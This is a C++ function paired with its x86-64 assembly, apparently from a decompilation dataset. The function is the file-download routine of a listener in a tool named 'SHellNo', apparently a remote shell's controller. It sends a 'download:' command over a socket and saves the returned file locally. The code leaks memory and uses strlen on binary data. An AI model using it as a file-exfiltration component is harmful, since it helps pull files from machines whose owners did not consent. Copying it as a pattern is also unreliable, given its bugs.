// File: JohnWoodman[P]SHellNo/listener.cpp
// Function: listener::downloadFile(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>)
int listener::downloadFile(string r_path, string l_path) {
	printf("Download File...\n");
	ofstream out(l_path, ios::binary);

	string cmd = "download:" + r_path;
	send(new_fd, cmd.c_str(), cmd.length(), 0);
			
	char *recv_code = new char[1024];
	int b = recv(new_fd, recv_code, 1024, 0);

	if (recv_code[0] == '1') {
		printf("%s", recv_code);
		return 1;
	}

	while (out.is_open()) {
		char *recvbuf = new char[1024];
		int bytes = recv(new_fd, recvbuf, 1024, 0);

		int len_recv = strlen(recvbuf);
		printf("Length of recvbuf is %d\n", len_recv);
		if (len_recv > 0) {
			printf("Writing to file\n");
			out.write(recvbuf, len_recv);
			memset(recvbuf, '\0', 1024);
		} else {
			printf("Closing file error: %s\n", strerror(errno));
			out.close();
			break;
		}

		if (len_recv < 1024) {
			printf("Last section of file\n");
			out.close();
			break;
		}
	}
	printf("Finished Downloading!\n");
	return 0;
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
subq $0x2d0, %rsp            # imm = 0x2D0
movq %rsi, -0x278(%rbp)
movq %rdx, -0x280(%rbp)
movq %rdi, -0x10(%rbp)
movq %rsi, -0x18(%rbp)
movq %rdx, -0x20(%rbp)
movq -0x10(%rbp), %rax
movq %rax, -0x288(%rbp)
leaq 0x495d(%rip), %rdi      # 0x35194
xorl %eax, %eax
callq 0x6090
movq -0x280(%rbp), %rsi
leaq -0x220(%rbp), %rdi
movl $0x4, %edx
callq 0x6900
movq -0x278(%rbp), %rdx
leaq 0x4942(%rip), %rsi      # 0x351a6
leaq -0x240(%rbp), %rdi
callq 0x31650
jmp 0x30872
movq -0x288(%rbp), %rax
movl 0x14(%rax), %eax
movl %eax, -0x294(%rbp)
leaq -0x240(%rbp), %rdi
movq %rdi, -0x2a0(%rbp)
callq 0x6210
movq -0x2a0(%rbp), %rdi
movq %rax, -0x290(%rbp)
callq 0x6730
movl -0x294(%rbp), %edi
movq -0x290(%rbp), %rsi
movq %rax, %rdx
xorl %ecx, %ecx
callq 0x6290
jmp 0x308c1
movl $0x400, %edi            # imm = 0x400
callq 0x6040
movq %rax, -0x2a8(%rbp)
jmp 0x308d4
movq -0x288(%rbp), %rax
movq -0x2a8(%rbp), %rcx
movq %rcx, -0x258(%rbp)
movl 0x14(%rax), %edi
movq -0x258(%rbp), %rsi
movl $0x400, %edx            # imm = 0x400
xorl %ecx, %ecx
callq 0x61a0
movq %rax, -0x2b0(%rbp)
jmp 0x30908
movq -0x2b0(%rbp), %rax
movl %eax, -0x25c(%rbp)
movq -0x258(%rbp), %rax
movsbl (%rax), %eax
cmpl $0x31, %eax
jne 0x3098b
movq -0x258(%rbp), %rsi
leaq 0x487e(%rip), %rdi      # 0x351b0
xorl %eax, %eax
callq 0x6090
jmp 0x3093b
movl $0x1, -0x4(%rbp)
movl $0x1, -0x260(%rbp)
jmp 0x30af7
movq %rax, %rcx
movl %edx, %eax
movq %rcx, -0x248(%rbp)
movl %eax, -0x24c(%rbp)
jmp 0x30b1b
movq %rax, %rcx
movl %edx, %eax
movq %rcx, -0x248(%rbp)
movl %eax, -0x24c(%rbp)
leaq -0x240(%rbp), %rdi
callq 0x6330
jmp 0x30b1b
jmp 0x3098d
leaq -0x220(%rbp), %rdi
callq 0x63d0
movb %al, -0x2b1(%rbp)
jmp 0x309a1
movb -0x2b1(%rbp), %al
testb $0x1, %al
jne 0x309b0
jmp 0x30ad6
movl $0x400, %edi            # imm = 0x400
callq 0x6040
movq %rax, -0x2c0(%rbp)
jmp 0x309c3
movq -0x288(%rbp), %rax
movq -0x2c0(%rbp), %rcx
movq %rcx, -0x268(%rbp)
movl 0x14(%rax), %edi
movq -0x268(%rbp), %rsi
movl $0x400, %edx            # imm = 0x400
xorl %ecx, %ecx
callq 0x61a0
movq %rax, -0x2c8(%rbp)
jmp 0x309f7
movq -0x2c8(%rbp), %rax
movl %eax, -0x26c(%rbp)
movq -0x268(%rbp), %rdi
callq 0x6240
movl %eax, -0x270(%rbp)
movl -0x270(%rbp), %esi
leaq 0x4790(%rip), %rdi      # 0x351b3
xorl %eax, %eax
callq 0x6090
jmp 0x30a2c
cmpl $0x0, -0x270(%rbp)
jle 0x30a76
leaq 0x4790(%rip), %rdi      # 0x351cc
xorl %eax, %eax
callq 0x6090
jmp 0x30a45
movq -0x268(%rbp), %rsi
movslq -0x270(%rbp), %rdx
leaq -0x220(%rbp), %rdi
callq 0x6670
jmp 0x30a61
movq -0x268(%rbp), %rdi
xorl %esi, %esi
movl $0x400, %edx            # imm = 0x400
callq 0x62c0
jmp 0x30aa5
callq 0x6080
movl (%rax), %edi
callq 0x61b0
movq %rax, %rsi
leaq 0x4751(%rip), %rdi      # 0x351dd
xorl %eax, %eax
callq 0x6090
jmp 0x30a95
leaq -0x220(%rbp), %rdi
callq 0x66d0
jmp 0x30aa3
jmp 0x30ad6
cmpl $0x400, -0x270(%rbp)    # imm = 0x400
jge 0x30ad1
leaq 0x473d(%rip), %rdi      # 0x351f5
xorl %eax, %eax
callq 0x6090
jmp 0x30ac1
leaq -0x220(%rbp), %rdi
callq 0x66d0
jmp 0x30acf
jmp 0x30ad6
jmp 0x3098d
leaq 0x472e(%rip), %rdi      # 0x3520b
xorl %eax, %eax
callq 0x6090
jmp 0x30ae6
movl $0x0, -0x4(%rbp)
movl $0x1, -0x260(%rbp)
leaq -0x240(%rbp), %rdi
callq 0x6330
leaq -0x220(%rbp), %rdi
callq 0x6720
movl -0x4(%rbp), %eax
addq $0x2d0, %rsp            # imm = 0x2D0
popq %rbp
retq
leaq -0x220(%rbp), %rdi
callq 0x6720
movq -0x248(%rbp), %rdi
callq 0x6850
nopw %cs:(%rax,%rax)